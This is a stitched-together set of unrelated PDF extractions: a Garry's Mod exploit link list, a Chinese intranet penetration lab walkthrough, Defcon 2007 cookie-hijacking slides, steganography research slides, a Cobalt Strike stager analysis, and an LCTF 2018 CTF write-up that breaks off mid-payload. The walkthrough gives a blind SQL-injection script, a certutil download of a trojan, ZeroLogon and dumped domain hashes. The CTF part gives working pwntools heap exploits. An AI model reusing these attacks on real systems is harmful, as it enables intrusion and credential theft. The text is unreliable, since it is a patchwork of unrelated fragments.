http://www.pcgamer.com/garrys-mod-cough-virus-is-cured-but-it-could-have-been- worse/  http://www.garrysmod.com/2014/04/19/exploit-fix-released/  http://www.valvetime.net/threads/gmod-has-a-lua-exploit-causing-mass- issues.244534/  http://www.unknowncheats.me/forum/arma-2-scripting/70058-evil-scripts.html  https://community.bistudio.com/wiki/  https://gist.github.com/corsix/6575486  http://www.fontspace.com/total-fontgeek-dtf-ltd/erbosdraco-nova-nbp  http://newsaint.deviantart.com/art/shall-we-play-a-game-168941908 (image on the first slide is a modified version of this, released under CC BY-NC-SA 3.0 - http://creativecommons.org/licenses/by-nc-sa/3.0/)
pdf
环境搭建 1.项目介绍: 本次项目模拟渗透测试人员在授权的情况下,对目标进行渗透测试,从外网打 点到内网横向渗透,最终获取整个内网权限。本次项目属于三层代理内网穿 透,会学习到各种内网穿透技术,cobalt strike 在内网中各种横行方法,也 会学习到在工具利用失败的情况下,手写 exp 获取边界突破点进入内网,详细 介绍外网各种打点方法,学习到行业流行的内网渗透测试办法,对个人提升很有 帮助。 2.VPS 映射 1.将 ip 映射到公网。在公网 vps 使用配置 frp 工具的 frps.ini 运行 frps.exe -c frps.ini 在 web1 上配置 frpc.ini 运行 frpc.exe -c frp.ini 成功访问到环境 http://x.x.x.x:8088/login.jsp 信息收集 1.端口探测 使用 nmap 进行端口探测,发现 4444、5003、8088、8899、8878 端口开放。 然后查看其详细信息。 2.网站源代码查找 发现有一个网上银行系统。使用弱口令和暴力破解,没有爆破出弱口令用户。 然后就在 github 试试运气,发现了源码。 源码地址:https://github.com/amateur-RD/netBank-System 发现了一个数据库文件,有一些普通用户和管理员用户的账户和密码。 3.SQL 注入 然后进行登录测试,发现存在 sql 注入漏洞 网上银行系统 Hsql 注入漏洞 使用 sqlmap 不能进行跑出用户名和密码。 4.编写脚本进行 sql 注入 #coding:utf-8 import requests password="" url="http://x.x.x.x:8878/admin/login" payload="0123456789abcdefghijklmnopqrstuvwxyz" password="" for i in range(1,20): for j in payload: exp = "admin' and(select substring(password,%s,1) from Admin) like '%s' or '1'='" %(i,j) print("正在注入") data = {"admin.username": exp, "admin.password": 'aaaa', "type": 1} req = requests.post(url=url, data=data); if "密码不正确" in req.text: password+=j break print(password) 成功跑出密码。然后进行登录。 登录之后,寻找文件上传或者可以获取到 webshell 的地方,发现没有可利用 点。 5.tomexam SQL 注入漏洞 在另一个地址处,发现可以注册用户。然后注册用户进行登录。 登录之后发现,某处存在 sql 注入。 使用 sqlmap 进行获取用户信息。 | 1 | 1 | 1399999999 | 1 | 超级管理员 | admin | admin | 17D03DA6474CE8BEB13B01E79F789E63 | 2022-04-09 00:14:08 | 301 | | 6 | 2 | | 1 | | eu3 | eu3 | 4124DDEBABDF97C2430274823B3184D4 (eu3) | 2014-05-17 13:58:49 | 14 成功抓到了管理员用户和密码,然后使用 md5 进行解密。 成功进行登录。登录之后没有找到可 getshell 的地方。 6.Jspxcms-SQL 注入 首页发现可以注册用户和进行登录。首先搜索历史漏洞,看看有没有 getshell 的地方。 发现先知的大佬做过找个版本的代码审计。参考链接: https://xz.aliyun.com/t/10891?page=1#toc-7。发现可以通过文件上传进行 gethshell。 在之前的 tomexam 的数据库中,发现存在 jspxcms,试试查找一下管理员的用 户和信息。 使用 sqlmap 进行查找表、用户和吗密码。 成功发现了用户名和加密的密码。密码推断是明文密码+salt 然后再进行 md5 加密。 7.编写解密脚本 通过其源码,分析其加密方式,然后编写解密脚本。 package com.jspxcms.core; import com.jspxcms.common.security.SHA1CredentialsDigest; import com.jspxcms.common.util.Encodes; import java.io.File; import java.io.FileReader; import java.io.FileWriter; import java.io.PrintWriter; import java.util.Scanner; public class Testmain { public static void main(String[] args)throws Exception { byte[] salt = Encodes.decodeHex("9b2b38ad7cb62fd9"); SHA1CredentialsDigest test = new SHA1CredentialsDigest(); String fileName = "D:\\csdnpass.txt"; String fileName2 = "D:\\hashpassword2.txt"; try (Scanner sc = new Scanner(new FileReader(fileName))) { while (sc.hasNextLine()) { String line = sc.nextLine(); String encPass = test.digest(line, salt); File f = new File(fileName2); FileWriter fw = new FileWriter(f, true); PrintWriter pw = new PrintWriter(fw); pw.println(line + " " + encPass); pw.close(); } } } } 8.登录 jspxcms 后台 getshell 使用管理员用户和解密出来的密码,成功进入管理员后台。 8.使用哥斯拉生成一个木马,然后使用 jar,打包成为 war 包。 9.编写目录穿越脚本 根据先知社区的大佬提出的方法,编写目录穿越脚本。 成功进行上传。 10.获取 webshell 使用哥斯拉连接 webshell,成功执行命令。 内网渗透: 1.frp 反向代理上线 CS 首先配置内网 cobalt strike 内网上线 在 kali 启动 cs 服务端, 查看其端口 配置 frp 的 frps.ini 信息。 2.CS 上线 cs 生成监听。 然后上传.exe 文件进行上线。 成功上线。 3.内网信息收集 使用 shell iponfig 收集信息。 根据搭建的拓扑环境,然后测试一下与其他域内主机的连通性。 查看计算机名。 使用 net view 查找域内其它主机,发现不能找到其他主机。 4.开启代理进行端口扫描 查看 server2012 的 IP 地址。 5.域内主机端口扫描 发现存在 1433——Mysql 的端口,尝试进行弱口令的暴力破解。 最好成功爆破出账号和密码. 6.mssqlclient 登录 MYsql 服务器 使用 mysql 用户和密码进行登录。 7.xp_cmshell 进行 getshell help 查看可以执行那些命令。 开启 xp_cmdshell,然后进行信息收集。 使用 certutil 远程下载之前的木马,然后进行上线 xp_cmdshell certutil -urlcache -split -f http://x.x.x.x/artifact.exe c:/windows/temp/artifact.exe 8.使用 SweetPotato (ms16-075)提权 上线之后,进行简单的信息收集。 然后使用第三方插件,利用 SweetPotato (ms16-075)提权对其进行提权。 成功提权。 内网域渗透 1.内网域信息收集 使用 net view 查看域内主机。 使用 hashdump 进行抓取一些用户的 hash 值。 查看主机 ip 地址。 查看域控的 Ip 地址,和域控的计算机名。 2.ZeroLogon CVE-2020-1472 获取域控权限 编译 zerolgin 的脚本成为 exe,然后进行测试,发现主机存在该漏洞。 将它设置为空密码。31d6cfe0d16ae931b73c59d7e0c089c0 3.配置代理,登录域控 配置 kali 的代理地址,然后进行端口扫描,测试代理是否连接。 获取域控的 hash 值。 2 Administrator:500:aad3b435b51404eeaad3b435b51404ee:81220c729f6ccb63d7 82a77007550f74::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0 c089c0::: krbtgt:502:aad3b435b51404eeaad3b435b51404ee:b20eb34f01eaa5ac8b6f80986 c765d6d::: sec123.cnk\cnk:1108:aad3b435b51404eeaad3b435b51404ee:83717c6c40593740 6f8e0a02a7215b16::: AD01$:1001:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e 0c089c0::: SERVER2012$:1109:aad3b435b51404eeaad3b435b51404ee:cc759f89477f1595c99 3831ce5944e95::: 然后进行登录域控。 4.PTH 上线 CS 关闭防火墙,利用 pth 进行上线 cs。 成功执行命令。 生成 tcp 监听,然后 jump 到域控主机。 5.恢复密码、原 hash。 恢复密码。 使用 secretsdump.py 获取其 hash 值。 python3 secretsdump.py -sam sam.save -system system.save -security security.save LOCA 使用:proxychains4 python3 reinstall_original_pw.py ad01 10.10.10.139 fb61e3c372e666adccb7a820aa39772f 恢复域控密码。成功恢复其密码。 靶机到这里就结束了。 最后,成功拿下整个域控。 总结: 该项目从环境搭建,使用 vps 将 web1 主机映射到公网上。通过信息收集,搜索 源码,然后分析源码,进行 sql 注入。编写 sql 注入脚本进行注入,通过分析 登录端的源码编写加密脚本,在编写目录穿越脚本成功获取 webshell。在内网 渗透中,使用 frp 反向代理上线 cs,使用 xp_cmdshell 进行 getshell。在域渗 透中使用 CVE-2020-1472 获取域控权限。这台靶机中没装杀软,但是从外网打 点到内网渗透,再到域渗透中的知识面是非常广的。
pdf
365-Day: https Cookie Stealing Mike Perry Defcon 2007 Who am I? ● Volunteer Tor developer – Work on Torbutton, TorFlow ● Privacy advocate, censorship opponent ● Forward+Reverse engineer at Riverbed ● Flexitarian ● Random Hacker – Wrote a page-based malloc debugger – Wrote an IRC bot that got quoted as a human in a major magazine Why am I doing this? Exploit is not new or complicated... However: ● Vector is not narrow or wifi-only – Sophisticated attackers can drain bank accounts with custom cable/DSL modems – It also harms safe Tor usage, and that pisses me off ● Many sites are vulnerable, and don't seem to care. ● Response: Release a tool, lower the bar even more. – Encourage (correct and secure) SSL adoption Cookie Basics ● Variables set by websites in your browser – Used for authentication, tracking, storage ● Several properties that govern when transmitted – Domain – Path – Expiration – SSL bit (seldom used, this is where the fun begins) The 'SideJacking' Attack ● Glorified sniffer – Sniffs cookies transmitted via plaintext http ● Janky proxy based approach to do control+saving ● Completely passive: User must visit target site ● Able to save domain and path info – Path info may be too specific – Can lead to issues ● Admirable PR machine for such a simple hack – Waay exceeds my PR abilities. Little help? :) Active HTTP Cookie Hijacking ● Like CSRF, but we want the data transmitted, not any particular result – In fact, the server can reject the request ● Scenario: – Yesterday: User logs in to mail.yahoo.com. Checks "Remember me." – Today: User visits www.cnn.com via open wifi – Today: We inject <img src="http://mail.yahoo.com"> – Today: Browser transmits yahoo cookies for image – Today: We sniff cookies, write them to cookies.txt – Tomorrow: Use cookies.txt to read their mail Active HTTPS Cookie Hijacking ● New Scenario: – Yesterday: User logs in to httpS://mail.google.com – Today: User visits www.cnn.com via open wifi – Today: We inject <img src=”http://mail.google.com/mail"> – Today: Browser transmits unprotected gmail GX cookie for http image fetch – Today: We sniff cookies, write them to cookies.txt – Tomorrow: Use cookies.txt to read their mail ● User never even checks gmail on hostile network! Vectors ● Not just open wifi ● ARP poisoning ● DHCP spoofing ● DSL+Cable modem networks? – Possible to sniff+inject on cable networks? ● Some use DOCSIS auth+encryption now, but many modes are weak – May require two modems ● One custom with TX/RX frequencies switched 'Manual' Attack ● Aka: How people were owned for the past 365 days. ● Fire up wireshark ● Fire up airpwn/netsed with custom rule ● Copy cookies out of wireshark. ● Lame. Introducing CookieChaos Fully automated pylorcon tool for cookie gathering ● Caches DNS responses ● Listens for 443 connections – Uses cache to map IP to domain name ● Stores IP+host into injection queue ● Next time IP connects to ANY website: – Inject <img src=”http://dnsname”> ● Gathers any resulting cookies and writes cookies.txt file for use in Firefox Ok, so there is some configuration.. ● Need cookie path for injection for some sites – No worries. List of paths for popular sites provided! ● Might want to steal other non-ssl sites too – No worries. Additional target list can be provided! Demo Demo
pdf
Lost in Translation C. Grothoff, K. Grothoff, L. Alkhutova, R. Stutsman, M. Atallah Lost in Translation: Translation-based Steganography Christian Grothoff, Krista Grothoff, Ludmila Alkhutova, Ryan Stutsman and Mikhail Atallah {christian,krista}@grothoff.org, {lalkhuto,rstutsma}@purdue.edu, [email protected] “... because as we know, there are known knowns; there are things we know we know. We also know there are known unknowns; that is to say we know there are some things we do not know. But there are also unknown unknowns – the ones we don’t know we don’t know.” http://www.cs.purdue.edu/homes/rstutsma/stego/ 1 Lost in Translation C. Grothoff, K. Grothoff, L. Alkhutova, R. Stutsman, M. Atallah Some Approaches to Linguistic Stego • Wayner ’92: Chapman & Davida ’97: handgenerated CFGs, automatically generated syntactic templates to produce syntactically correct text • Chapman, Davida & Rennhard ’01: Synonym replacement using existing texts http://www.cs.purdue.edu/homes/rstutsma/stego/ 2 Lost in Translation C. Grothoff, K. Grothoff, L. Alkhutova, R. Stutsman, M. Atallah Some Disadvantages to these Approaches • Hand-generation of grammars labor intensive (solved with automatic template generation) • semantic coherence can be problematic (CFGs) • Not all synonyms are created equal (e.g. eat vs. devour); good lists must be hand-generated (NICETEXT II) • Additionally, pure semantic substitution may be subject to known-cover and diff attacks (NICETEXT II) http://www.cs.purdue.edu/homes/rstutsma/stego/ 3 Lost in Translation C. Grothoff, K. Grothoff, L. Alkhutova, R. Stutsman, M. Atallah Why do these problems arise? • Automatic generation of semantically and rhetorically correct text is difficult on its own • Each of these approaches attempts to mimic correct text • Incorrect text becomes a source of deviation from the statistical profile of what is mimicked “... hide the identity of a text by recoding a file so its statistical profile approximates the statistical profile of another file.” – Peter Wayner http://www.cs.purdue.edu/homes/rstutsma/stego/ 4 Lost in Translation C. Grothoff, K. Grothoff, L. Alkhutova, R. Stutsman, M. Atallah Solving the Generation Problem • If the problem is with mimicking correct text... • Find a stego object type which: – Is expected to be semantically and syntactically damaged – Is supposed to be a transformation of the original object – both can coexist without a problem – By nature contains errors which often causes it to make less-than-perfect sense “In order to prevent significant changes of the cover material, most steganographic algorithms try to utilize noise introduced by usual processes.” – E. Franz and A. Schneidewind http://www.cs.purdue.edu/homes/rstutsma/stego/ 5 Lost in Translation C. Grothoff, K. Grothoff, L. Alkhutova, R. Stutsman, M. Atallah An Example from Babelfish • The following German text was taken from a Linux Camp website: “Keine Sorge, sie sind alle handzahm und beantworten auch bereitwillig Fragen rund um das Thema Linux und geben gerne einen kleinen Einblick in die Welt der Open-Source.” • A reasonable English translation would be the following: “Don’t worry, they are all tame and will also readily answer questions regarding the topic ’Linux’ and gladly give a small glimpse into the world of Open Source.” • Babelfish gave the following translation: “A concern, it are not all handzahm and also readily questions approximately around the topic Linux and give gladly a small idea of the world of the open SOURCE.” http://www.cs.purdue.edu/homes/rstutsma/stego/ 6 Lost in Translation C. Grothoff, K. Grothoff, L. Alkhutova, R. Stutsman, M. Atallah Translation as a Cover Natural Language (NL) translation is an inherently noisy process (MT moreso than human translation) • Ready availability of low-quality translations makes certain alterations plausible and errors easy to mimic • Redundant nature of language means that translation allows for a wide variety of outputs • Variation of a translation does not necessarily constitute “damage” http://www.cs.purdue.edu/homes/rstutsma/stego/ 7 Lost in Translation C. Grothoff, K. Grothoff, L. Alkhutova, R. Stutsman, M. Atallah Natural Language Machine Translation • Far from perfect • Most systems are statistical engines – translate via pattern matching and sets of syntactic rules • Context is usually completely neglected • Translations often word-for-word, ignoring syntactic and semantic differences between source and target languages http://www.cs.purdue.edu/homes/rstutsma/stego/ 8 Lost in Translation C. Grothoff, K. Grothoff, L. Alkhutova, R. Stutsman, M. Atallah Lost in Translation (LiT): a Translation-Based Steganographic System We assume Alice and Bob have a shared secret in advance – in this case, it is the translation-system configuration. To send a message, Alice first chooses a source text – it might be from a public text source. It does not have to be secret. http://www.cs.purdue.edu/homes/rstutsma/stego/ 9 Lost in Translation C. Grothoff, K. Grothoff, L. Alkhutova, R. Stutsman, M. Atallah Protocol Overview http://www.cs.purdue.edu/homes/rstutsma/stego/ 10 Lost in Translation C. Grothoff, K. Grothoff, L. Alkhutova, R. Stutsman, M. Atallah The System: Encoding • Cover source text is run through several commercial and custom-generated translation engines • Errors, semantic substitutions, and other modifications are made to these translations in a post-processing step – each modification is considered damage • Each damaging action reduces the probability that a sentence looks like real translation – language model decides what modifications cause more damage • Accumulated probabilities are used to build a Huffman tree – matching bit sequence from the secret message determines which translation sentence will be chosen http://www.cs.purdue.edu/homes/rstutsma/stego/ 11 Lost in Translation C. Grothoff, K. Grothoff, L. Alkhutova, R. Stutsman, M. Atallah Encoder http://www.cs.purdue.edu/homes/rstutsma/stego/ 12 Lost in Translation C. Grothoff, K. Grothoff, L. Alkhutova, R. Stutsman, M. Atallah Encoder and Decoder http://www.cs.purdue.edu/homes/rstutsma/stego/ 13 Lost in Translation C. Grothoff, K. Grothoff, L. Alkhutova, R. Stutsman, M. Atallah Post-pass Example: Error Insertion Simple examples for errors when translating to English: • Incorrect use of articles (definite/indefinite, incorrect omission/inclusion of articles) • Prepositions are particularly tricky – because they have so many meanings, mapping them correctly is hard • Leave less common words in their original language (“handzahm”) http://www.cs.purdue.edu/homes/rstutsma/stego/ 14 Lost in Translation C. Grothoff, K. Grothoff, L. Alkhutova, R. Stutsman, M. Atallah Post-pass Example: Semantic Substitution Original Translations Witnesses flat flach tabular vapid even eben flach smooth plane glatt plain shallow ... http://www.cs.purdue.edu/homes/rstutsma/stego/ 15 Lost in Translation C. Grothoff, K. Grothoff, L. Alkhutova, R. Stutsman, M. Atallah About Post-Passes • Which modules are run is determined by the (shared secret) system configuration • New modules can be created and plugged in by the user • This is where error insertion, error correction, semantic substitution, and any other transformation that mimics legitimate MT systems occur http://www.cs.purdue.edu/homes/rstutsma/stego/ 16 Lost in Translation C. Grothoff, K. Grothoff, L. Alkhutova, R. Stutsman, M. Atallah Experimental Results: Translations Original: “In dieser Zeit soll festgestellt werden, ob die Sch¨uler die richtige Schule gew¨ahlt haben und ob sie ihren F¨ahigkeiten entspricht.” Google: “In this time it is to be determined whether the pupils selected the correct school and whether it corresponds to its abilities.” Linguatec: “Whether the pupils have chosen the right school and whether it corresponds to its abilities shall be found out at this time.” LiT: “In this time it is toward be determined whether pupils selected a correct school and whether it corresponds toward its abilities.” (8 bits hidden) http://www.cs.purdue.edu/homes/rstutsma/stego/ 17 Lost in Translation C. Grothoff, K. Grothoff, L. Alkhutova, R. Stutsman, M. Atallah Experimental Results: Translations Original: “Der marokkanische Film ”Windhorse” erz¨ahlt die geschichte zweier, unterschiedlichen Generationen angeh¨orender M¨anner, die durch Marokko reisen. Auf dem Weg suchen sie nach dem Einzigen, was ihnen wichtig ist: dem Sinn des Lebens.” Google: “The Moroccan film ”Windhorse” tells the history of two, different generations of belonging men, who travel by Morocco. On the way they look for the none one, which is important to them: the sense of the life.” Linguatec: “The Moroccan film ”Windhorse” tells the story of men belonging to two, different generations who travel through Morocco. They are looking for the only one which is important to them on the way: the meaning of the life.” LiT: “The Moroccan film ”Windhorse” tells story from men belonging by two, different generations who travel through Morocco. They are looking for the only one which is important to them on the way: the sense of a life.” The sentence above hides the message “lit” (24 bits). http://www.cs.purdue.edu/homes/rstutsma/stego/ 18 Lost in Translation C. Grothoff, K. Grothoff, L. Alkhutova, R. Stutsman, M. Atallah Advantages • LiT hides within the limits of MT, as MT models change, so can our system • The generation problem is avoided by mimicking the results of an imperfect transformation, not correct, human-produced text • Secret key (implementation, training corpora and configuration) allows for many encoders • Cover text can be public and obtained from public sources http://www.cs.purdue.edu/homes/rstutsma/stego/ 19 Lost in Translation C. Grothoff, K. Grothoff, L. Alkhutova, R. Stutsman, M. Atallah Disadvantages • low bitrate (log2 n bits per sentence for n translations) • need to transmit both source text (or a reference to it) and translation http://www.cs.purdue.edu/homes/rstutsma/stego/ 20 Lost in Translation C. Grothoff, K. Grothoff, L. Alkhutova, R. Stutsman, M. Atallah Increasing the Bitrate The bitrate can be increased by: • implementing more MT systems • creating new corpora to train existing MT implementations • performing additional, plausible modifications (pre- and post-passes) to the translation system in order to obtain additional variants http://www.cs.purdue.edu/homes/rstutsma/stego/ 21 Lost in Translation C. Grothoff, K. Grothoff, L. Alkhutova, R. Stutsman, M. Atallah Experimental Results: Bitrate • Bitrate is for a prototype – Limited dictionaries – No build-in knowledge about grammar or semantics – Few translation engines • Low information density of text ⇒ compression • Highest bitrate achieved: 0.0082/0.022 http://www.cs.purdue.edu/homes/rstutsma/stego/ 22 Lost in Translation C. Grothoff, K. Grothoff, L. Alkhutova, R. Stutsman, M. Atallah Use for Watermarking (1/2) • Read mark from marked copy only – Original text is not available – No reference translation is available • LSB(Keyed Hash(sentences)) = mark bit – Modify until equal to mark bit – Different sentences for every mark bit http://www.cs.purdue.edu/homes/rstutsma/stego/ 23 Lost in Translation C. Grothoff, K. Grothoff, L. Alkhutova, R. Stutsman, M. Atallah Use for Watermarking (2/2) • Which sentences? • Key directly selects mark bits’ locations – Simple – Fragile • More robust: Use of “marker” sentences – Mark bit is in sentences that follow marker – Secret ranking of sentences – Lowest-ranked are markers http://www.cs.purdue.edu/homes/rstutsma/stego/ 24 Lost in Translation C. Grothoff, K. Grothoff, L. Alkhutova, R. Stutsman, M. Atallah Attacks An adversary could attack the protocol by: • spotting obvious inconsistencies: – same sentence translated in two ways – certain mistakes made inconsistently (“foots”) • constructing some new statistical model for languages that all translation systems obey, except for the steganographic encoder. http://www.cs.purdue.edu/homes/rstutsma/stego/ 25 Lost in Translation C. Grothoff, K. Grothoff, L. Alkhutova, R. Stutsman, M. Atallah White-box Security • Given such a new statistical model, it is easy to modify the steganographic encoder to become model-aware (i.e. produce sentences consistent with the model) • Creating new models is equivalent to improving (statistical) machine translation. • Attacking the protocol becomes an arms race in terms of understanding (machine) translation. Given equal knowledge, the defender wins. “Of course, the quality of the model influences the security of the steganographic algorithm – if an attacker possesses a better model (...) he is able to distinguish between stego images and steganographically unused data.” – E. Franz and A. Schneidewind http://www.cs.purdue.edu/homes/rstutsma/stego/ 26 Lost in Translation C. Grothoff, K. Grothoff, L. Alkhutova, R. Stutsman, M. Atallah Avoiding Transmission of the Original • Receiver and sender agree on small constant h. • Receiver computes keyed hash of translation, lowest h bits say how many bits of message are in rest of hash. • Encoding is purely statistical and unlikely to fail if h small and number of available translations t large: 0 B @1 − 1 2h · 2h−1 X i=0 1 2i 1 C A t . (1) • Use FEC to correct encoding errors. http://www.cs.purdue.edu/homes/rstutsma/stego/ 27 Lost in Translation C. Grothoff, K. Grothoff, L. Alkhutova, R. Stutsman, M. Atallah Conclusions • Translation-based steganography is a promising new approach for text steganography. • The bit-rate that can be achieved is lower than that of systems operating on binary data. • Statistical attacks can be defeated if the underlying statistical language model is made public. • Machine translation is not dead. http://www.cs.purdue.edu/homes/rstutsma/stego/ 28 Lost in Translation C. Grothoff, K. Grothoff, L. Alkhutova, R. Stutsman, M. Atallah Copyright Copyright (C) 2005 Christian Grothoff, Krista Grothoff, Ludmila Alkhutova, Ryan Stutsman and Mikhail Atallah Verbatim copying and distribution of this entire article is permitted in any medium, provided this notice is preserved. http://www.cs.purdue.edu/homes/rstutsma/stego/ 29
pdf
CS download shellcode 分析 CS version:4.3 CS端IP:172.16.80.3 choose a payload to stage:windows/beacon_https/reverse_https 在⽣成加载shellcode的程序之后放⼊到x32dbg。 定位到shellcode执⾏的地址 在将DF标志清零后(CLD),紧接着⼀个call,这个call主要是把 wininet这个字符串⼊栈 FS寄存器指向当前活动线程的TEB结构,在这个结构体的0x30的位置是PEB结构地址接着去找PEB_LDR_DATA这个 结构体从双向链表中去寻找我们想要的DLL,这个DLL就是之前我们⼊栈的那个wininet 再知道了这点以后,后⾯的好⼏个跳转和⽐较指令,其实可以不⽤看了。 我们来到这⾥会有个jmp eax 在这上⾯的第⼀个pop上断下来 运⾏到push ecx之前,在这⾥是通过loadlibrary加载wininet这个dll。这个jmp eax 是 call eax。 call eax 等于两条汇编指令 1、把当前的下⼀个地址⼊栈 2、跳转到eax 这⾥采⽤的是 push ecx,jmp eax 实现了call,pop会把栈给弹出来,这⼏个pop后的栈是我们函数执⾏的参数。 如何判断有⼏个参数需要借助MSDN 官⽅⽂档。 接下来继续运⾏到这个断点,运⾏到 push ecx 之前。 第⼀个函数 InternetOpen (NULL,NULL,NULL,NULL,NULL) 全部都NULL 第⼆个函数InternetConnectA(InternetOpen handle,IP,PORT,NULL,NULL,0X00000003,NULL) 第⼀个参数为 InternetOpen的句柄 通过多运⾏⼏次断点我们可以把 CS 的shellcode的API给梳理出来 HINTERNET InternetOpenW( [in] LPCWSTR lpszAgent, [in] DWORD dwAccessType, [in] LPCWSTR lpszProxy, [in] LPCWSTR lpszProxyBypass, [in] DWORD dwFlags ); wininte.InternetOpen()//初始化应⽤程序对 WinINet 函数的使⽤ wininet.InternetConnectA() //创建链接信息 wininet.HttpOpenRequestA()//创建⼀个 HTTP 请求句柄。 嗯?这就是⼀个下载者阿。我这边请求的地址是在HttpOpenRequestA的/IzML 这⾥需要注意的是 /IzML 这个路径是由CS随机的,内容为: wininet.InternetSetOptionA()//设置 Internet 选项 CS的默认为 "User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)\r\n" wininet.HttpSendRequestA()//发送请求 user32.GetDesktopWindow() //检索桌⾯窗⼝的句柄。桌⾯窗⼝覆盖整个屏幕。桌⾯窗⼝是在其上绘制其他窗⼝ 的区域。 wininet.InternetErrorDlg //如果存在适当的对话框,则显示传递给 InternetErrorDlg的错误的对话框。如 果使⽤了 FLAGS_ERROR_UI_FILTER_FOR_ERRORS标志,该函数还会检查标题中是否存在任何隐藏的错误,并在需 要时显示⼀个对话框。 kernel32.VirtualAlloc //创建内存 wininet.InternetReadFile//读取数据 这⾥也是⼀段shellcode,针对这部分shellcode的分析的下篇⽂章⾥会出。 总结 简化⼀下整个流程 1.http请求 shellcode 2.创建内存 3.读取shellcode 4.执⾏ 在知道原理后可以更加灵活的去写代码,⽆⾮就是⼀个http download 以及 内存加载。如果我们使⽤windows的 API函数的话下⾯这⼏个就够了。 1.InternetOpenA 2.InternetOpenUrlA 3.InternetReadFile 4.VirtualAlloc 当然你也可以⾃⼰⽤socket 实现http download。 其实写这篇⽂章的初衷是过年太⽆聊了就想写个在shellcode中通过添加花指令,缩短指令等实现在红队的项⽬中 进⾏快速免杀,遂分析起来了 CS的shellcode。
pdf
2018 LCTF By Nu1L 2018 LCTF PWN easy_heap pwn4fun echos just_pwn WEB Travel T4lk 1s ch34p,sh0w m3 the sh31l 1. includewebshell 2. remoteipphar 3. wrapper phar:// =>RCE L playground2 EZ OAuth userssrf -> God of domain pentest sh0w m3 the sh31l 4ga1n 1. 2. tmpfile getshell bestphp's revenge soapssrf+crlfphpsessidflag.php session_start()sessionfile call_user_funcsoap Re easy_vm Qt b2w Lunatic Game Lunatic MSP430 misc osu! gg bank easy little trick https://lctf.pwnhub.cn/index 2018/11/17 9:00-2018/11.18 21:00 PWN easy_heap read_noff by one null from pwn import * def add(size,data): p.recvuntil('>') p.sendline('1') p.recvuntil('size') p.sendline(str(size)) p.recvuntil('content') p.send(data) def dele(index): p.recvuntil('>') p.sendline('2') p.recvuntil('index') p.sendline(str(index)) #p=process('./easy_heap')#,env={'LD_PRELOAD':'./libc64.so'}) p=remote('118.25.150.134', 6666) libc = ELF('./libc64.so') for i in range(10): add(0xf0,'aaa\n') dele(1) for i in range(3,8): dele(i) dele(9) dele(8) dele(2) dele(0) for i in range(7): add(0xf0,'aaa\n') add(0,'') add(0xf8,'\n') dele(0) dele(1) dele(2) dele(3) dele(4) pwn4fun exp flag dele(6) dele(5) for i in range(7): add(16,'/bin/bash\n') p.recvuntil('>') p.sendline('3') p.recvuntil("index \n> ") p.sendline('8') addr = u64(p.recv(6).ljust(8,'\x00')) libc_base = addr - (0x00007f97e7321ca0-0x7f97e6f36000) info(hex(libc_base)) free_hook = libc_base+libc.symbols['__free_hook'] #sys = libc_base + libc.symbols['system'] sys = libc_base +0x4f322 info(hex(sys)) info(hex(free_hook)) add(0,'') dele(5) dele(8) dele(9) add(16,p64(free_hook)+'\n') add(16,'/bin/bash\x00') add(16,p64(sys)+'\n') dele(0) p.interactive() from pwn import * context.log_level = 'debug' def sigin(p, username): p.recvuntil('sign (I)n or sign (U)p?') p.sendline('I') p.recvuntil('input your name') p.send(username) def choose(p, c): p.recvuntil('4. do nothing') p.sendline(str(c)) def pwn(p): count = 0 p.recvuntil('press enter to start game') p.send('\n') #gdb.attach(p) sigin(p, 'admin'.ljust(9, '\x00')) choose(p, 1) while True: p.recvuntil('----turn ') turn = int(p.recvuntil('-', drop=True)) log.info('turn: {}'.format(turn)) p.recvuntil('this is your e_cards\n') card_str = p.recvuntil('\n') guard_num = card_str.count('Guard') peach_num = card_str.count('Peach') attack_num = card_str.count('Attack') card_num = guard_num + peach_num + attack_num my_card = card_str.split(' ') try: first = my_card[1] except: first = '' log.info('guard:{} peach:{} attack:{}'.format(guard_num, peach_num, attack_num)) log.info('count:{}'.format(count)) p.recvuntil('your health is ') health = int(p.recvuntil('\n', drop=True)) log.info('health:{}'.format(health)) p.recvuntil('enemy e_cards: ') enemy_card = int(p.recvuntil(' ', drop=True)) p.recvuntil('enemy health: ') enemy_health = int(p.recvuntil('\n', drop=True)) log.info('enemy_card:{} enemy_health:{}'.format(enemy_card, enemy_health)) # always attack p.recvuntil('3. Pass\n') if attack_num != 0 and enemy_health > 0 and not (first == 'Attack' and count == 0): p.sendline('1') p.recvuntil(': Attack!\n') p.recvuntil('COM: ') p.recvuntil('\n') card_num -= 1 elif peach_num != 0 and health != 7 and count != 6: p.sendline('2') p.recvuntil(': eat a peach and +1 health\n') card_num -= 1 health += 1 else: p.sendline('3') if card_num > health: p.recvuntil('put the e_card number you want to throw\n') p.sendline(str(card_num)) card_num -= 1 if card_num - health: p.recvuntil('put the e_card number you want to throw\n') if first == 'Attack' and card_num != 0 and count == 0: p.sendline('-5') count += 1 elif first == 'Guard' and card_num != 0 and count == 1: p.sendline('-5') count += 1 elif count > 1 and count < 6: p.sendline('-5') count += 1 else: p.sendline(str(card_num)) #data = p.recvuntil('\n') # if data == "you don't have a attack e_card!\n": # p.recvuntil('put the e_card number you want to throw\n') # p.sendline('1') p.recvuntil('------your turn is over-------\n') p.recvuntil("it's my turn, draw!\n") data = p.recv(1) if data == '-': continue data = p.recvuntil('\n') if 'eat' in data: data = p.recv(1) if data == '-': continue p.recvuntil('\n') data = p.recv(1) if data != 'd': p.recvuntil(': -1 health\n') if p.recv(1) == 'y': return False p.interactive() echos stdin stdout stderr read -1 stdin stdout stderr continue p.recvuntil('guard?[0/1]\n') if health <= 4 and count != 6: p.sendline('1') else: p.sendline('0') p.recvuntil(': -1 health\n') data = p.recv(1) if data != '-': break p.recvuntil('one more?(0/1)') p.sendline('1') sigin(p, 'admin'.ljust(9, '\x00')) p.interactive() if __name__ == '__main__': #p = remote('212.64.75.161', 2333) while True: p = remote('212.64.75.161', 2333) #p = process('sgs') #gdb.attach(p) if pwn(p): break p.close() #gdb.attach(p) p.interactive() from pwn import * p = process('./echos', env = {'LD_PRELOAD': './libc64.so'}) #p = remote('172.81.214.122', 6666) writeup orz relroleak p.sendline(str(0xc40).ljust(8, '\x00') + p64(0x4013c3) + p64(0x403390) + p64(0x401030) + p64(0x4013c1) + p64(0x401030) + p64(0x444444) + p64(0x401307)) p.recvuntil('size is 3136') payload = (p64(0x4013bd) + 